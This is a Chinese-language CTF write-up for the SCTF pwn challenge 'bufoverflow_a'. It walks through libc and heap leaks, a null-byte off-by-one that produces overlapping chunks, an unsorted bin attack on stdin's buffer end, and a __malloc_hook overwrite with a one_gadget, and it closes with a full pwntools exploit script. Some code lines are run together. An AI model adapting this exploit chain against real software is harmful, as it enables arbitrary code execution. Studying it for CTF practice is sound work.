本來以為應該能出一兩道ctf的pwn了,結果又被sctf打擊了一波。
bufoverflow_a
做這題時libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete會清0變量導致無法寫,一直沒構造出unsorted bin attack,后面根據wp發現只要修改一下free的順序就行了。
這題的主要功能如下:
正常的堆題模板,1是申請堆,2是刪除堆,3是寫剛申請的堆,4是輸出剛申請的堆的內容,5結束。
首先泄露libc的地址,申請堆只能申請0x7f到0x1000的大小,也就是不能申請fastbin,構造堆分布如下:
先申請兩個0x88的chunk,然后free chunk 1,再申請一個0x88的堆,這時候這個堆的fd和bk指向main_arena+88,再執行show函數就可以泄露libc(這里注意不能申請過多堆,因為題目中只有堆的個數小于2的時候用的malloc,大于就用calloc,會清空堆的內容)
堆地址也可以用類似方法泄露,構造堆分布:
先申請4個0x88堆,再free堆塊1和堆塊3,堆塊4,這樣堆塊3,4,top_chunk會合并,這時top_chunk的fd會是chunk 1,所以再申請一個大于0x88的堆會從top_chunk分配再show就能泄露堆地址。
再fill函數中存在null byte off-by-one漏洞,常規思路就是用null byte off-by-one造成overlap然后unsorted bin attack,這題有scanf函數,可以修改stdin的buf_end然后覆蓋malloc_hook成one_gadget,用house of orange應該也是能出的。
?首先構造堆塊如下:
先申請了4個堆塊,然后free掉第一個和第二個堆塊,再申請第一個堆塊,這樣就可以寫第一個堆塊并使用漏洞將第二個堆塊的size最后一位修改為\x00,這時第二個堆塊還在unsorted bin里面。
接著繼續申請4個堆塊大小大于7f并且4個大小相加小于0x400。由于前面第二個堆塊的size改變了導致unsorted bin大小變了但是后面堆塊也就是之前申請的大小0x100的堆塊的pre_size并沒有更新(因為是通過unsortedbin這個堆的size來找下一個堆的pre_size去修改,但是現在size小于原來的size,所以找到的位置并不是0x100的堆的pre_size的位置而是更上面的地方)。申請過后堆的情況如下:
?
接著按照上圖free 0x88,0x100,0x200,由于0x100的堆塊的pre_size還是之前的值,所以會和0x88的堆塊合并,就會造成一個大的unsortedbin并且包含了之前申請的0x200的堆塊。(這里要特別注意free的順序,由于只有剛申請的塊能夠寫入,所以這里我們需要提前構造一個unsorted bin在之后申請的堆的內部,而unsorted bin是先入先出的結構如果前面的未滿足申請的大小就會放入對應的smallbin或者largebin里面,所以先free了0x88,0x100使得兩個塊合并后有一個unsortedbin,再free 0x200得到第二個unsortedbin,這樣下次malloc的時候第一個unsortedbin符合返回了,就不會把后面的unsortedbin放入smallbin里面去了)。
申請一個大小為0x518的塊,這時這個塊就包含了里面0x200的那個unsortedbin塊,fill函數寫入將unsortedbin的塊的bk改為stdin+0x30,接著申請一個0x208的塊就完成了unsorted bin attack,這時bk+0x10會被賦值為unsortedbin地址也就是main_arena+88,而stdin+0x30+0x10的位置就是buf_end的位置,所以buf_end被賦值為main_arena+88。
scanf寫入時會先將輸入放入緩沖區內,再寫入,而緩沖區的位置就是buf_base,大小是buf_end-buf_base,現在修改了buf_end,也就是說我們可以任意寫入值到buf_base到buf_end之間,而這之間就存在malloc_hook。
然而在這之間還需要保證兩個值的正確性,一個是lock一個是vtable,lock需要一個指向0的地址,vtable就用原來的地址就行,所以構造payload如下:
payload = '1\n\x00\x00\x00'
payload +=p64(malloc_hook-libc.symbols['__malloc_hook']+0x39b770)
payload +=p64(0)*9+p64(malloc_hook-libc.symbols['__malloc_hook']+0x396440)
payload = payload.ljust(0x1ad,'\x00')
payload += p64(one_gadget)
?這里看的wp都是前5個字符都是\x00,同樣可以使得程序進入到1選項中去申請堆塊,不是很理解,應該是和scanf接收\x00的處理有關,這里我構造的前5個字節為'1\n\x00\x00\x00',因為scanf碰到\n會將\n替換為\x00,這里就能保證輸入1,進入了1選項后去申請一個大小的堆,就會跳到malloc_hook去執行one_gadget拿到shell了。
exp:
from pwn import *
p = process('./bufoverflow_a')
#p = remote('116.62.152.176', 20001)
#context.log_level = 'debug'
p.recvuntil('>> ')
def alloc(p,size):p.sendline('1')p.recvuntil('Size: ')p.sendline(size)p.recvuntil('>> ')
def delete(p,index):p.sendline('2')p.recvuntil('Index: ')p.sendline(index)p.recvuntil('>> ')
def fill(p,content):p.sendline('3')p.recvuntil('Content: ')p.send(content)p.recvuntil('>> ')
def show(p):p.sendline('4')
#gdb.attach(proc.pidof(p)[0])
#leak libc
alloc(p,str(0x88)) #0
alloc(p,str(0x300)) #1
delete(p,str(0)) #free 0
alloc(p,str(0x88)) #0
show(p)
main_arena = u64(p.recv(6).ljust(8,'\x00'))-88
print hex(main_arena)
p.recvuntil('>> ')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
malloc_hook = main_arena-0x10
io_list_all_addr = libc.symbols['_IO_list_all']+malloc_hook-libc.symbols['__malloc_hook']
jump_table_addr = libc.symbols['_IO_file_jumps']+malloc_hook-libc.symbols['__malloc_hook']
system_addr = libc.symbols['system']+malloc_hook-libc.symbols['__malloc_hook']
stdin = libc.symbols['_IO_2_1_stdin_']+malloc_hook-libc.symbols['__malloc_hook']
binsh = libc.search('/bin/sh\x00').next()+malloc_hook-libc.symbols['__malloc_hook']
one_gadget = 0xd6655+malloc_hook -libc.symbols['__malloc_hook']
print 'one_gadget:',hex(one_gadget)
#one_gadget = 0x45216+malloc_hook -libc.symbols['__malloc_hook']
print 'stdin:',hex(stdin)
print 'lock:',hex(malloc_hook-libc.symbols['__malloc_hook']+0x39b770)
print 'io_jump:',hex(malloc_hook-libc.symbols['__malloc_hook']+0x396440)
#clear
delete(p,str(0))
delete(p,str(1))#leak heap
alloc(p,str(0x88))#0
alloc(p,str(0x88))#1
alloc(p,str(0x88))#2
alloc(p,str(0x88))#3
delete(p,str(0)) #free 0
delete(p,str(2)) #free 2
delete(p,str(3)) #free 3
alloc(p,str(0x100))#0
show(p)
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
fake_heap = heap_addr-0x20+0x18
print hex(heap_addr)
#clear
p.recvuntil('>> ')
delete(p,str(0))
delete(p,str(1))#unsafe unlink
alloc(p,str(0x88))#0
alloc(p,str(0x400))#1
alloc(p,str(0x100))#2
alloc(p,str(0x88))#3delete(p,str(0))
delete(p,str(1))
alloc(p,str(0x88))#0
payload = 'a'*0x88
fill(p,payload)alloc(p,str(0x88)) #1
alloc(p,str(0x88)) #4
alloc(p,str(0x200)) #5
alloc(p,str(0xb8)) #6delete(p,str(1))
delete(p,str(2))
delete(p,str(5))alloc(p,str(0x518))
payload = 'a'*0x80
payload += p64(0) + p64(0x91)
payload += 'b'*0x80
payload += p64(0) + p64(0x211)
payload += p64(main_arena+88) + p64(stdin+0x30)
fill(p,payload+'\n')alloc(p,str(0x208))'''payload = '1\n\x00\x00\x00'#'\x00'*5
payload += p64(malloc_hook-libc.symbols['__malloc_hook']+0x39b770)
payload += p64(0xffffffffffffffff) + p64(0)
payload += p64(malloc_hook-libc.symbols['__malloc_hook']+0x3999a0)+p64(0)
payload += p64(0)*2
payload += p64(0xffffffff)+p64(0)
payload += p64(0) + p64(malloc_hook-libc.symbols['__malloc_hook']+0x396440)
payload += '\x00'*0x130
payload += p64(malloc_hook-libc.symbols['__malloc_hook']+0x395f00)+p64(0)
payload += p64(malloc_hook-libc.symbols['__malloc_hook']+0x7c610)+p64(0)
payload += p64(one_gadget)'''
payload = '1\n\x00\x00\x00'
payload +=p64(malloc_hook-libc.symbols['__malloc_hook']+0x39b770)
payload +=p64(0)*9+p64(malloc_hook-libc.symbols['__malloc_hook']+0x396440)
payload = payload.ljust(0x1ad,'\x00')
payload += p64(one_gadget)p.sendline(payload)
p.recvuntil('Size: ')
p.sendline(str(0x88))
p.interactive()
?主要寫了一些在復現時候踩的坑和一些不理解的地方(大佬們可以自動忽略這些廢話。。。)。